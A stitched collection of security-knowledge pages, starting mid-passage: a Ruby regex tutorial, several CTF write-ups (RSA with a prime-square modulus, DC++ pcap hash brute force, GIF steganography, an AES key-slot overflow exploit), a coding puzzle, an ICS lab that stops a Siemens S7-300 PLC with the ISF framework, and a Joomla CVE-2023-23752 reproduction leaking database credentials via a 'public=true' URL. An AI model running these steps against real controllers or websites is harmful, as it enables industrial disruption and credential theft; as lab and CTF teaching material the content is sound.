a+"-"+b end ``` 执行示例 ``` > ruby scan3.rb "r-a" "c-a" "t-a" "r-a" ``` 如果没有指定块,则直接返回匹配的字符串数组。 ```ruby p "abracatabra".scan(/.a/) #=> ["ra", "ca", "ta", "ra"] ``` # 正则表达式的例子 接下来我们来看看用正则表达式匹配 URL 的例子。 首先我们需要“找出包含 URL 的行”。创建表示完整的 URL 的正则表达式会非常复杂,不过我们可以稍微变通一下,把目标改为“找出类似于 URL 的字符串”,这时,就可以用如下模式来进行匹配。 ```ruby /http:\/\// ``` 这个匹配模式的好处在于便于操作,而且也的确可以匹配 URL。 在此基础上,我们还可以进一步写出“获取类似于 URL 的字符串中的某部分”的正则表达式。例如,获取 HTTP 的 URL 中的服务器地址的模式时,可以像下面这样书写。 ```ruby /http:\/\/([^\/]*)\// ``` `[^\/]*` 表示匹配不含 `/` 的连续字符串。 上述例子中使用了较多 `/`,不便于阅读,这种情况下我们可以使用 `%r` 将其改写成像下面那样: ```ruby %r|http://([^/]*)/| ``` ```ruby str = "http://www.ruby-lang.org/ja/" %r|http://([^/]*)/| =~ str print "server address: ", $1, "\n" ``` 执行示例 ``` > ruby url_match.rb server address: www.ruby-lang.org ``` 可以发现,的确可以获取服务器地址。 然后,我们再看看获取服务器地址以外部分的正则表达式。 ```ruby %r|^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?| ``` 这是在 RFC2396“Uniform Resource Identifiers(URI)”这个定义 URI 语法的文件中使用的正则表达式。 这个正则表达式可以被原封不动地用在 Ruby 中。如果用这个正则表达式进行匹配,则 HTTP 等协议名会被保存在 `$2` 中,服务器地址等会被保存在 `$4` 中,路径名会被保存在 `$5` 中,请求部分会被保存在 `$7` 中,片段(fragment)会被保存在 `$9` 中。 例如,`http://www.example.co.jp/foo/?name=bar#bar` 这个 URI 的情况下,`http` 为通信协议名,`www.example.co.jp` 为服务器地址,`/foo/` 为路径名,`name=bar` 为请求名,`baz` 为片段。 然而,写到这种程度,正则表达式已经变得非常复杂了。如果把正则表达式写成在任何情况下都能匹配的万能模式,就会使得正则表达式变得难以读懂,增加程序的维护成本。相比之下,只满足当前需求的正确易懂的正则表达式则往往更有效率。 例如,匹配邮政编号的正则表达式,可以写成下面这样: ```ruby /\d\d\d-\d\d\d\d/ ``` 这样,就不会匹配只有 3 位数字,或者没有 `-` 的邮政编码了。 在不需要太过严格的输入检查时,直接用 `/\d+-?\d*/` 匹配就可以了。
sec-knowleage
# Hensel (crypto 400) ###ENG [PL](#pl-version) In the task we get parameters suggesting RSA: ``` n = 158168890645747636339512652656727367370140893295030333823920833363025940906055891357316994482461476576118114207681214323912652527927215053128809927932495206979837034713724140745400652922252749994983891690894724877897453440237829719520264826887839607084620792280551479756249230842706713662875715392719130358089 e = 65537 c = 140823625180859595137593494178968497314300266616869468408596741823165198698204065579249727536890649445240801729293482339393915146972721826733382396566284303449925618355682242041225432010603850355326962069585919704623290128021782032477132287121179121257196031074006842188551083381364957799238533440938240326919 ``` But factorization of `n` reveals that it's a prime square. It can actually still be solved via RSA, if we remember that in this case `phi = p*(p-1)` and simply run: ```python p = gmpy2.isqrt(n) print(long_to_bytes(pow(c, gmpy2.invert(e, p*(p - 1)), p))) ``` But there is also a more generic approach useful when dealing with prime powers. What we have is `m^e mod p^2` and we want to recover `m`. Recovering `m` for prime modulus is simple, since totien `phi = p-1`. But it's also possible for modulus which is a prime power, using Hensel Lifing lemma. If we know solution to `f(x) = 0 mod p` we can use an iterative algorithm to compute solutions `mod p^k`. ```python import gmpy2 from src.crypto_commons.generic import long_to_bytes from src.crypto_commons.rsa.rsa_commons import hensel_lifting def main(): n = 158168890645747636339512652656727367370140893295030333823920833363025940906055891357316994482461476576118114207681214323912652527927215053128809927932495206979837034713724140745400652922252749994983891690894724877897453440237829719520264826887839607084620792280551479756249230842706713662875715392719130358089 e = 65537 c = 140823625180859595137593494178968497314300266616869468408596741823165198698204065579249727536890649445240801729293482339393915146972721826733382396566284303449925618355682242041225432010603850355326962069585919704623290128021782032477132287121179121257196031074006842188551083381364957799238533440938240326919 p = gmpy2.isqrt(n) k = 2 base = pow(c, gmpy2.invert(e, p - 1), p) # solution to pt^e mod p f = lambda x: pow(x, e, n) - c df = lambda x: e * x r = hensel_lifting(f, df, p, k, base) # lift pt^e mod p to pt^e mod p^k for solution in r: print(long_to_bytes(solution)) # print(long_to_bytes(pow(c, gmpy2.invert(e, p*(p - 1)), p))) main() ``` Using code from our crypto-commons: ```python def hensel_lifting(f, df, p, k, base_solution): """ Calculate solutions to f(x) = 0 mod p^k for prime p :param f: function :param df: derivative :param p: prime :param k: power :param base_solution: solution to return for p=1 :return: possible solutions to f(x) = 0 mod p^k """ previus_solution = [base_solution] for x in range(k-1): new_solution = [] for i, n in enumerate(previus_solution): dfr = df(n) fr = f(n) if dfr % p != 0: t = (-(extended_gcd(dfr, p)[1]) * int(fr / p ** (k - 1))) % p new_solution.append(previus_solution[i] + t * p ** (k - 1)) if dfr % p == 0: if fr % p ** k == 0: for t in range(0, p): new_solution.append(previus_solution[i] + t * p ** (k - 1)) previus_solution = new_solution return previus_solution ``` And this gives us: `sponge_bob_square_roots` just as the simpler approach with RSA. ###PL version W zadaniu dostajemy parametry sugerujace RSA: ``` n = 158168890645747636339512652656727367370140893295030333823920833363025940906055891357316994482461476576118114207681214323912652527927215053128809927932495206979837034713724140745400652922252749994983891690894724877897453440237829719520264826887839607084620792280551479756249230842706713662875715392719130358089 e = 65537 c = 140823625180859595137593494178968497314300266616869468408596741823165198698204065579249727536890649445240801729293482339393915146972721826733382396566284303449925618355682242041225432010603850355326962069585919704623290128021782032477132287121179121257196031074006842188551083381364957799238533440938240326919 ``` Ale faktoryzacja `n` pokazuje że to potęga liczby pierwszej. Nadal możemy rozwiązać to zadanie za pomocą RSA, jesli pamiętamy że w tym przypadku `phi = p*(p-1)` i uruchomimy: ```python p = gmpy2.isqrt(n) print(long_to_bytes(pow(c, gmpy2.invert(e, p*(p - 1)), p))) ``` Ale jest też bardziej ogólne podejście do problemu potęg liczb pierwszych. Mamy dane `m^e mod p^2` i chcemy poznać `m`. Odzyskanie `m` dla modulusa będącego liczbą pierwszą jest trywialne, bo totien `phi = p-1`. Odzyskanie `m` dla modulusa który jest potęgą liczby pierwszej jest także możliwe, za pomocą lematu Hensela. Jeśli znamy rozwiązania `f(x) = 0 mod p` możemy użyć iteracyjnego algorytmu do policzenia rozwiązania `mod p^k`: ```python import gmpy2 from src.crypto_commons.generic import long_to_bytes from src.crypto_commons.rsa.rsa_commons import hensel_lifting def main(): n = 158168890645747636339512652656727367370140893295030333823920833363025940906055891357316994482461476576118114207681214323912652527927215053128809927932495206979837034713724140745400652922252749994983891690894724877897453440237829719520264826887839607084620792280551479756249230842706713662875715392719130358089 e = 65537 c = 140823625180859595137593494178968497314300266616869468408596741823165198698204065579249727536890649445240801729293482339393915146972721826733382396566284303449925618355682242041225432010603850355326962069585919704623290128021782032477132287121179121257196031074006842188551083381364957799238533440938240326919 p = gmpy2.isqrt(n) k = 2 base = pow(c, gmpy2.invert(e, p - 1), p) # solution to pt^e mod p f = lambda x: pow(x, e, n) - c df = lambda x: e * x r = hensel_lifting(f, df, p, k, base) # lift pt^e mod p to pt^e mod p^k for solution in r: print(long_to_bytes(solution)) # print(long_to_bytes(pow(c, gmpy2.invert(e, p*(p - 1)), p))) main() ``` I używając kodu z naszego crypto-commons: ```python def hensel_lifting(f, df, p, k, base_solution): """ Calculate solutions to f(x) = 0 mod p^k for prime p :param f: function :param df: derivative :param p: prime :param k: power :param base_solution: solution to return for p=1 :return: possible solutions to f(x) = 0 mod p^k """ previus_solution = [base_solution] for x in range(k-1): new_solution = [] for i, n in enumerate(previus_solution): dfr = df(n) fr = f(n) if dfr % p != 0: t = (-(extended_gcd(dfr, p)[1]) * int(fr / p ** (k - 1))) % p new_solution.append(previus_solution[i] + t * p ** (k - 1)) if dfr % p == 0: if fr % p ** k == 0: for t in range(0, p): new_solution.append(previus_solution[i] + t * p ** (k - 1)) previus_solution = new_solution return previus_solution ``` Dostajemy: `sponge_bob_square_roots` tak samo jak dla podejścia z RSA.
sec-knowleage
# 4. 二维数组中的查找 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/abc3fe2ce8e146608e868a70efebf62e?tpId=13&tqId=11154&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 给定一个二维数组,其每一行从左到右递增排序,从上到下也是递增排序。给定一个数,判断这个数是否在该二维数组中。 ```html Consider the following matrix: [ [1, 4, 7, 11, 15], [2, 5, 8, 12, 19], [3, 6, 9, 16, 22], [10, 13, 14, 17, 24], [18, 21, 23, 26, 30] ] Given target = 5, return true. Given target = 20, return false. ``` ## 解题思路 要求时间复杂度 O(M + N),空间复杂度 O(1)。其中 M 为行数,N 为 列数。 该二维数组中的一个数,小于它的数一定在其左边,大于它的数一定在其下边。因此,从右上角开始查找,就可以根据 target 和当前元素的大小关系来快速地缩小查找区间,每次减少一行或者一列的元素。当前元素的查找区间为左下角的所有元素。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/35a8c711-0dc0-4613-95f3-be96c6c6e104.gif" width="400px"> </div><br> ```java public boolean Find(int target, int[][] matrix) { if (matrix == null || matrix.length == 0 || matrix[0].length == 0) return false; int rows = matrix.length, cols = matrix[0].length; int r = 0, c = cols - 1; // 从右上角开始 while (r <= rows - 1 && c >= 0) { if (target == matrix[r][c]) return true; else if (target > matrix[r][c]) r++; else c--; } return false; } ```
sec-knowleage
# S7-300 启停实验 <p align="center"> <img src="../../../../assets/img/banner/s7comm.jpg"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **前言** 西门子(SIEMENS)公司的 PLC 产品包括 LOGO、S7-200、S7-1200、S7-300、S7-400、S7-1500 等。 西门子 PLC 在我国的应用比其他系列多。 西门子 S7 系列 PLC 体积小、速度快、标准化,具有网络通信能力,功能更强,可靠性高。S7 系列 PLC 产品可分为微型 PLC(如 S7-200),小规模性能要求的 PLC(如 S7-300)和中、高性能要求的PLC(如S7-400)等。 西门子 PLC 使用私有协议进行通信,它是利用 TPKT 和 ISO8073 的二进制协议。西门子的 PLC 通信端口均为 102 端口,。西门子 PLC 协议有3个版本,S7Comm 协议,早期 S7CommPlus 协议和最新的 S7CommPlus 协议。 S7-200、S7-300、S7-400 系列的 PLC 采用早期的西门子私有协议 S7comm 进行通信。该协议不像 S7CommPlus 的加密协议(S7-1500 等),不涉及任何反重复攻击机制,可以被攻击者轻易利用。S7comm-plus 协议引入了会话 ID 来防止重放攻击。 **实验环境** `环境仅供参考` - Microsoft Windows 10 企业版 LTSC - 10.0.17763 - CentOS Linux release 7.7.1908 - VMware® Workstation 15 Pro - 15.0.0 build-10134415 --- ## 环境搭建 本次实验用模拟器代替现场设备,先访问软件官网 http://snap7.sourceforge.net/ ,点击 Download 会跳转到 https://sourceforge.net/projects/snap7/files/ ,下载 snap7-full-1.4.2.7z 首先S7模拟器客户端连接主机,解压,打开 \rich-demos\x86_64-win64\bin 下 serverdemo.exe 输入本机 IP 点击 start 连接 然后使用 S7 模拟器客户端,打开 clientdemo.exe 进行连接 输入本机 IP 点击 connect 连接 此时服务端出现请求信息,表示连接成功 --- ## 漏洞利用 接下来采用开源的工控漏洞利用框架 ISF 工具地址 : https://github.com/dark-lbp/isf 使用 Centos 下载并使用 ```bash yum install -y python wget https://bootstrap.pypa.io/get-pip.py python get-pip.py mkdir -p ~/.pip/ tee ~/.pip/pip.conf <<-'EOF' [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple [install] trusted-host = https://pypi.tuna.tsinghua.edu.cn EOF git clone https://github.com/dark-lbp/isf.git cd isf/ pip install -t /usr/lib/python2.7/site-packages -r requirements.txt python2.7 isf.py ``` kali如下 ```bash wget https://bootstrap.pypa.io/get-pip.py python2 get-pip.py mkdir -p ~/.pip/ tee ~/.pip/pip.conf <<-'EOF' [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple [install] trusted-host = https://pypi.tuna.tsinghua.edu.cn EOF git clone https://github.com/dark-lbp/isf.git cd isf/ python2 -m pip install -r requirements.txt python2.7 isf.py ``` 实际利用 ``` use exploits/plcs/siemens/s7_300_400_plc_control set target 192.168.141.128 run ``` 这里显示 `stop plc` ,同时查看模拟器中的输出,可以发现已经停止 --- ## Source & Reference - [工控安全 | 西门子S7-300攻击分析](https://www.freebuf.com/articles/ics-articles/228770.html) - [工控安全:S7-1200 PLC远程启停攻击实验](https://www.key1.top/index.php/archives/469/)
sec-knowleage
# morset (Misc, 50pts, 86 solves) A mysterious signal… can you decode it? Running at morset.pwning.xxx:11821 In this task we were told to conenct to certain server. The server sent us some dots and dashes, so we immediately thought it could be Morse code. Decoding it, though, gave us some gibberish alfanumeric string. They were generally very different, but sometimes they were pretty similar. For example: ``` AIDQJB34I3OA5B0BVLPE3OGV6XX23TTIGE6I451CC6V0VPWVWWGL1123EL2K56OS6R3W123WF2B0P90XH6N AIDQJB34I3OA5B0BVLPE3OGV6XX23TTIGE6I451CC6V0VPWVWWGL1123EL2K56OS6R41GDX88YQMO172Z3Z ``` We thought it could be some constant start of the message followed by some challenge. Finally, we came up with an idea how to decode this text - since this was neither base64 nor base32, it could be base36! Used alphabet was `0-9A-Z`. Final decoding and encoding code is in `doit.py` - it turns out server was sending us questions such as "What is SHA256(grapefruit1234)?". After sending answer in the same format, we got the flag.
sec-knowleage
# Woodstock (forensics) ###ENG [PL](#pl-version) In the task we get a [pcap](ws1_2.pcapng). If we just run strings or search on it we can get the first flag `BITSCTF{such_s3cure_much_w0w}`. The second flag is more complex to get here. In the pcap we can see that there are 2 users interacting over some DC++/ADC hub and exchanging a `fl3g.txt` file. After analysing the input file and reading on the ADC protocol we finally figured out that the file transfer part is actually missing from the pcap. The only thing we can recover (eg. with binwalk, or by decoding zlib streams transferred) are file lists: ```xml <?xml version="1.0" encoding="utf-8" standalone="yes"?> <FileListing Version="1" CID="IW27TT3CMX5NKVCSVJ2CFJYSVUUC6CB43FF3XLA" Base="/" Generator="EiskaltDC++ 2.2.9"> <Directory Name="cadence"> </Directory> <Directory Name="DSP"> </Directory> <Directory Name="DC"> <File Name="DEFCON 19 - The Art of Trolling (w speaker)-AHqGV5WjS4w.mp4" Size="98273830" TTH="KEVJ3EBNSE6XXLTPVCB5WUDMS5KR7P32MJQCGWY"/> <File Name="Fallen Kingdom - The Complete Minecraft Music Video Series-ayl3UXKpH1g.mp4" Size="511422768" TTH="M5PWQCU5AUV5L4A367BLGWWAYD5U3NUAVDTDQMI"/> <File Name="fl3g.txt" Size="14" TTH="CA4CMF34SHRUQIBG6MNRDAI5BVT7HQQRTGC7TBA"/> <File Name="Man punches a kangaroo in the face to rescue his dog (Original HD)-FIRT7lf8byw.mkv" Size="69864590" TTH="SOQ7ECDJ6YWM5F5Z3XLXGOFM6J23FOKNKWW5PXY"/> <File Name="poster.jpeg" Size="89139" TTH="IPLZJ2E4VJC4Q5X5NQ5D43COFAU3CGSZ5NQWJVA"/> <File Name="small2.jpg" Size="669170" TTH="K53V57ZPPJUOT5CAUP6DM3BAZI4YMUU536OYD3Q"/> <File Name="This Week in Stupid (04_12_2016)-m8LJl98_H60.mkv" Size="252235314" TTH="56UJJZ32LDK7V7QR5PZKPT7N2VOKPCY6WBZX3JA"/> <File Name="TRUMP UP THE JAMS! - The Fallout of the 2016 Election-jPLQh70GNrA.mkv" Size="274708751" TTH="YXPU6LCXAH5AY6I63KTJ4I3Q36YMZEXYEPGS6MQ"/> <File Name="when leftists attack - SJWs confront man over MAGA shirt-l4L-fk1dWhs.mp4" Size="122011301" TTH="B3W7EZGS2VMUG6B773WCQKPQ24G77R2EDDASJII"/> </Directory> </FileListing> ``` and ```xml <?xml version="1.0" encoding="utf-8" standalone="yes"?> <FileListing Version="1" CID="AH3KWVYA5DAWJA7HAVHXC6BCLPNG34PVQVMPXPY" Base="/" Generator="EiskaltDC++ 2.2.9"> <Directory Name="dcpp"> <File Name="text" Size="14" TTH="CA4CMF34SHRUQIBG6MNRDAI5BVT7HQQRTGC7TBA"/> </Directory> </FileListing> ``` We notice that the file size if 14 bytes, and we know that the flag contains `BITSCTF{}`, so in fact we're missing only 5 bytes. Fortunately admin disclosed that there is a trailing `\n` in the file, so in fact we're missing only 4 bytes! And we know the TTH hash of the flag file, so we can now brute-force the contents. We had some issues with finding a proper code for this task, because different tools/libs were giving different hash results but we finally found a tool http://directory.fsf.org/wiki/Tthsum which seemed to do the trick. We used ramdisk to create temp files with potential flags and tested if the resulting hashes match the hash we have. After a while we finally got the flag `BITSCTF{sw3g}` ###PL version W zadaniu dostajemy [pcapa](ws1_2.pcapng). Jeśli tylko uruchomimy na nim strings albo wyszukiwarke to znajdujemy pierwszą flagę `BITSCTF{such_s3cure_much_w0w}`. Druga flaga była trochę bardziej skomplikowana. W pcapie mamy interakcje dwóch użytkowników za pomocą huba DC++/ADC i wymianę pliku `fl3g.txt`. Po dogłębnej analizie pcapa i protokołu ADC doszliśmy do tego, że transferu pliku w pcapie nie ma. Jedyne co możemy odzyskać to listy plików (np. przez binwalka lub dekodując transferowane strumienie zlib): ```xml <?xml version="1.0" encoding="utf-8" standalone="yes"?> <FileListing Version="1" CID="IW27TT3CMX5NKVCSVJ2CFJYSVUUC6CB43FF3XLA" Base="/" Generator="EiskaltDC++ 2.2.9"> <Directory Name="cadence"> </Directory> <Directory Name="DSP"> </Directory> <Directory Name="DC"> <File Name="DEFCON 19 - The Art of Trolling (w speaker)-AHqGV5WjS4w.mp4" Size="98273830" TTH="KEVJ3EBNSE6XXLTPVCB5WUDMS5KR7P32MJQCGWY"/> <File Name="Fallen Kingdom - The Complete Minecraft Music Video Series-ayl3UXKpH1g.mp4" Size="511422768" TTH="M5PWQCU5AUV5L4A367BLGWWAYD5U3NUAVDTDQMI"/> <File Name="fl3g.txt" Size="14" TTH="CA4CMF34SHRUQIBG6MNRDAI5BVT7HQQRTGC7TBA"/> <File Name="Man punches a kangaroo in the face to rescue his dog (Original HD)-FIRT7lf8byw.mkv" Size="69864590" TTH="SOQ7ECDJ6YWM5F5Z3XLXGOFM6J23FOKNKWW5PXY"/> <File Name="poster.jpeg" Size="89139" TTH="IPLZJ2E4VJC4Q5X5NQ5D43COFAU3CGSZ5NQWJVA"/> <File Name="small2.jpg" Size="669170" TTH="K53V57ZPPJUOT5CAUP6DM3BAZI4YMUU536OYD3Q"/> <File Name="This Week in Stupid (04_12_2016)-m8LJl98_H60.mkv" Size="252235314" TTH="56UJJZ32LDK7V7QR5PZKPT7N2VOKPCY6WBZX3JA"/> <File Name="TRUMP UP THE JAMS! - The Fallout of the 2016 Election-jPLQh70GNrA.mkv" Size="274708751" TTH="YXPU6LCXAH5AY6I63KTJ4I3Q36YMZEXYEPGS6MQ"/> <File Name="when leftists attack - SJWs confront man over MAGA shirt-l4L-fk1dWhs.mp4" Size="122011301" TTH="B3W7EZGS2VMUG6B773WCQKPQ24G77R2EDDASJII"/> </Directory> </FileListing> ``` oraz ```xml <?xml version="1.0" encoding="utf-8" standalone="yes"?> <FileListing Version="1" CID="AH3KWVYA5DAWJA7HAVHXC6BCLPNG34PVQVMPXPY" Base="/" Generator="EiskaltDC++ 2.2.9"> <Directory Name="dcpp"> <File Name="text" Size="14" TTH="CA4CMF34SHRUQIBG6MNRDAI5BVT7HQQRTGC7TBA"/> </Directory> </FileListing> ``` Możemy zauważyć że rozmiar pliku z flagą to 14 bajtów a wiemy że flaga zawiera `BITSCTF{}` więc brakuje nam jedynie 5 bajtów. Szczęśliwie admin wspomniał że plik kończy się znakiem `\n` więc brakuje już tylko 4 bajtów! A znamy hash pliku, więc możemy brutować jego zawartość. Mieliśmy trochę problemów ze znalezieniem kodu do tego zadania ponieważ różne narzędzia/biblioteki dawały różne wyniki hasha. Koniec końcówk znaleźliśmy narzędzie http://directory.fsf.org/wiki/Tthsum które dawało dobre wyniki. Użyliśmy ramdisku żeby tworzyć tymczasowe pliku z potencjalnymi flagami i testowaliśmy czy wynikowe hashe pasują do pliku z flagą i finalnie dostaliśmy `BITSCTF{sw3g}`
sec-knowleage
### GIF文件结构 一个GIF文件的结构可分为 - 文件头(File Header) - GIF 文件署名(Signature) - 版本号(Version) - GIF 数据流(GIF Data Stream) - 控制标识符 - 图象块(Image Block) - 其他的一些扩展块 - 文件终结器(Trailer) ### GIF文件的文件头模块 GIF 署名(Signature)和版本号(Version)。GIF 署名用来确认一个文件是否是 GIF 格式的文件,这一部分由三个字符组成:`GIF`;文件版本号也是由三个字节组成,可以为 `87a` 或 `89a`。 ### GIF文件的逻辑屏幕标识符(Logical Screen Descriptor)模块 Logical Screen Descriptor(逻辑屏幕描述符)紧跟在 header 后面。这个块告诉 decoder(解码器)图片需要占用的空间。它的大小固定为 7 个字节,以 canvas width(画布宽度)和 canvas height(画布高度)开始。 ### GIF文件的全局颜色列表(Global Color Table)模块 GIF格式可以拥有global color table,或用于针对每个子图片集,提供local color table。每个color table由一个RGB(就像通常我们见到的(255,0,0)红色 那种)列表组成。 ### GIF文件的图像标识符(Image Descriptor)模块 一个 GIF 文件一般包含多个图片。之前的图片渲染模式一般是将多个图片绘制到一个大的(virtual canvas)虚拟画布上,而现在一般将这些图片集用于实现动画。 每个 image 都以一个 image descriptor block(图像描述块)作为开头,这个块固定为 10 字节。 ### GIF文件的图像数据(Image Data)模块 终于到了图片数据实际存储的地方。Image Data是由一系列的输出编码(output codes)构成,它们告诉decoder(解码器)需要绘制在画布上的每个颜色信息。这些编码以字节码的形式组织在这个块中。 ### GIF文件的文件终结器(Trailer)模块 该块为一个单字段块,用来指示该数据流的结束。取固定值0x3b. 更多参见 [gif 格式图片详细解析](http://www.jianshu.com/p/df52f1511cf8) ### GIF文件的空间轴模块 由于GIF的动态特性,由一帧帧的图片构成,所以每一帧的图片,多帧图片间的结合,都成了隐藏信息的一种载体。 对于需要分离的GIF文件,可以使用`convert`命令将其每一帧分割开来 ```console $ convert cake.gif cake.png $ ls cake-0.png cake-1.png cake-2.png cake-3.png cake.gif ``` ### GIF相关例题 > WDCTF-2017:3-2 打开gif后,思路很清晰,分离每一帧图片后,将起合并得到完整的二维码即可 ```python from PIL import Image flag = Image.new("RGB",(450,450)) for i in range(2): for j in range(2): pot = "cake-{}.png".format(j+i*2) potImage = Image.open(pot) flag.paste(potImage,(j*225,i*225)) flag.save('./flag.png') ``` 扫码后得到一串16进制字符串 `03f30d0ab8c1aa5....74080006030908` 开头`03f3`为`pyc`文件的头,恢复为`python`脚本后直接运行得到flag ### 时间轴相关例题 GIF文件每一帧间的时间间隔也可以作为信息隐藏的载体。 例如在当时在XMan选拔赛出的一题 > XMAN-2017:100.gif 通过`identify`命令清晰的打印出每一帧的时间间隔 ```shell $ identify -format "%s %T \n" 100.gif 0 66 1 66 2 20 3 10 4 20 5 10 6 10 7 20 8 20 9 20 10 20 11 10 12 20 13 20 14 10 15 10 ``` 推断 `20 & 10` 分别代表 `0 & 1`,提取每一帧间隔并进行转化。 ```shell $ cat flag|cut -d ' ' -f 2|tr -d '66'|tr -d '\n'|tr -d '0'|tr '2' '0' 0101100001001101010000010100111001111011001110010011011000110101001101110011010101100010011001010110010101100100001101000110010001100101011000010011000100111000011001000110010101100100001101000011011100110011001101010011011000110100001100110110000101100101011000110110011001100001001100110011010101111101# ``` 最后转 ASCII 码得到 flag。
sec-knowleage
# Backdoor CTF 2018 Team: ak, c7, Eternal, msm, naz, rev, rodbert, shalom ### Table of contents * [Random Noise (stegano)](random_noise) * [Awesome Mix 1 (crypto)](crypto_mix1) * [Captcha Revenge (web)](web_captcha) * [Array List (pwn)](pwn_array) * [Evil Website (forensics)](evil_website)
sec-knowleage
# ??? (crypto, 300p) ## ENG The only serious 100% crypto challenge on CONFidence - thanks to adami (creator). I heard that it was originally supposed to be harder, but during internal testing it turned out that there was obvious unintended solution and it was left that way. We are given file with "crypto service" code (see attached [enc_service.c](enc_service.c) ). There are 16 "slots" for encryption keys in binary, and we have four operations: - copy key from Ith slot to `"current_key"` slot (if Ith key is shorter than `current_key`, not all will be overwritten). - change Ith key to N random bytes - change `data` - encrypt `data` with 16 bytes of `current_key`. My solution was not perfect, because it turned out that there was easier way, but i'll describe it anyway. Code initially looks conceptually like this: - randomizes all keys - data = read('flag') - print `encrypt_data()` In original code: ```cpp int i; for (i = 0; i < NUM_KEYS; i++) { regenerate_key(i, MAX_KEY_LEN); } int fd = open("flag.txt", O_RDONLY); read(fd, data, DATA_SIZE); close(fd); load_key(MASTER_KEY_INDEX); encrypt(); memset(data, 0, DATA_SIZE); regenerate_key(MASTER_KEY_INDEX, MAX_KEY_LEN); ``` data is memzeroed after this, and the original key is only in `current_key`. So how can we solve this? First i tried overwritting first byte of `current_key`, until i get the same results. So the situation looked like this: ``` current key: [K0, K1, K2, K3, K4, ...] K0: [K0, ?, ?, ?, ?, ...] ``` and code more or less like this: ```python good = encrypt() while True: regenerate(0, 1) load(0) next = encrypt() if next == good: break ``` after that, i repeated this for next bytes, and situation looked like this: ``` current key: [K0, K1, K2, K3, K4, ...] K0: [K0, ?, ?, ?, ?, ...] K1: [?, K1, ?, ?, ?, ...] K2: [?, ? , K2, ?, ?, ...] ... ``` And code like this: ```python for i in range(0, 15): print "and now, let's try to set KEYS[{}][{}] to VICTIM".format(i, i) while True: regenerate(i, i+1) for j in range(0, i+1)[::-1]: load(j) next = encrypt() print next, next == good if next == good: break ``` This was my first exploit, but it turned out not to be necessary (it only simplified next part a bit). After that we noticed that overflow checking in functions is not correct: ```cpp void regenerate_key(unsigned int index, unsigned int len) { unsigned int offset = index * ENTRY_SIZE; if (offset > STORAGE_SIZE - ENTRY_SIZE || len > MAX_KEY_LEN) { return; } int fd = open("/dev/urandom", O_RDONLY); read(fd, &keys[offset], len); close(fd); keys[offset + MAX_KEY_LEN] = len; } ``` if offset was really large, it would overflow and in fact we could overwrite arbitrary byte to zero. We used it to overwrite whole keys[15] to zeroes: ```python def overwrite_keys15(): print 'ok, now overwrite keys[15] to zeroes' print 'we want index * ENTRY_SIZE + 16 == 14*ENTRY_SIZE + j for j in range(16)' regenerate(15, 16) print 'good so far:' print encrypt() for j in range(16): index = (15*17 - 16 + j) * modinv(17, 2**32) % 2**32 print 'for {} index {}'.format(j, index) regenerate(index, 0) print 'sanity...' loaddata('A'*16) load(15) sanity = encrypt() assert sanity == 'b49cbf19d357e6e1f6845c30fd5b63e3' ``` After that, solution was trivial: just encrypt anything with keys: ``` K0, 0, 0, 0, 0, ... K0, K1, 0, 0, 0, ... K0, K1, K2, 0, 0, ... ... ``` Like this: ```python partials = [] for i in range(15): load(15) # curkey = 0 for j in range(i+1)[::-1]: load(j) next = encrypt() print 'next', next partials.append(next) print 'ok, lets hope itll work' for p in partials: print p print 'and teh flag...' print flag ``` And after that just recover the key and flag: ``` from Crypto.Cipher import AES partials = [ '66dbd655bc51bab87329c3f6bdeb5aa0', 'fee1d80da69f2144f3a951c085c5bc64', '7ceaf1c485e6703afc2334bd14b42268', '52f684bebc5453ea6e76075c2e03e1ab', 'bdca9198d9691f0811b178749ee41202', 'e9667a0459c7da520b73279e6cf3fb42', '056da1d9b0504b34f012a21b84e3cdc2', '38029eb3e57569c3dd36f75142f58580', 'c22ce237ba0543f23f36c88aa79f3140', 'a475c86bb894b285c080a90b76383927', '45bc0a0bb4f98cd4388bff76f058bd7a', '846dbb2d1380d4513ad4ce2d376f206c', 'f6e81706b8ea2051b926698cc584c26e', '4e3ef31fab662337d551aaf202d2c047', '05f61ce44e216db3ad8264f031086dbb', ] flag = 'cefff6adc9392ba7e6abe6513c6d4467'.decode('hex') data = 'A' * 16 key = [0] * 16 print len(partials) for i, p in enumerate(partials): p = p.decode('hex') for j in range(256): key[i] = j kk = ''.join(chr(c) for c in key) if AES.new(kk).decrypt(p) == data: print 'got', j break for i in range(256): for j in range(256): key[15] = i key[0] = j kk = ''.join(chr(c) for c in key) ff = AES.new(kk).decrypt(flag) if all(20 < ord(c) < 0x7f for c in ff): print ff ``` Flag: ``` Drgns{f2Br#@!#d} ```
sec-knowleage
# Joomla权限绕过漏洞(CVE-2023-23752) Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。 在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。 参考链接: - <https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html> - <https://xz.aliyun.com/t/12175> - <https://vulncheck.com/blog/joomla-for-rce> ## 漏洞环境 执行如下命令启动一个Joomla 4.2.7: ``` docker compose up -d ``` 服务启动后,访问`http://your-ip:8080`即可查看到Joomla页面。 ## 漏洞复现 这个漏洞是由于错误的属性覆盖导致的,攻击者可以通过在访问Rest API时传入参数`public=true`来绕过权限校验。 比如,访问下面这个链接即可读取所有配置项,包括数据库连接用户名和密码: ``` http://your-ip:8080/api/index.php/v1/config/application?public=true ``` ![](1.png) 如果不添加`public=true`,则访问会被拒绝: ![](2.png) 访问下面这个链接即可读取所有用户信息,包含邮箱等: ``` http://your-ip:8080/api/index.php/v1/users?public=true ``` ![](3.png)
sec-knowleage
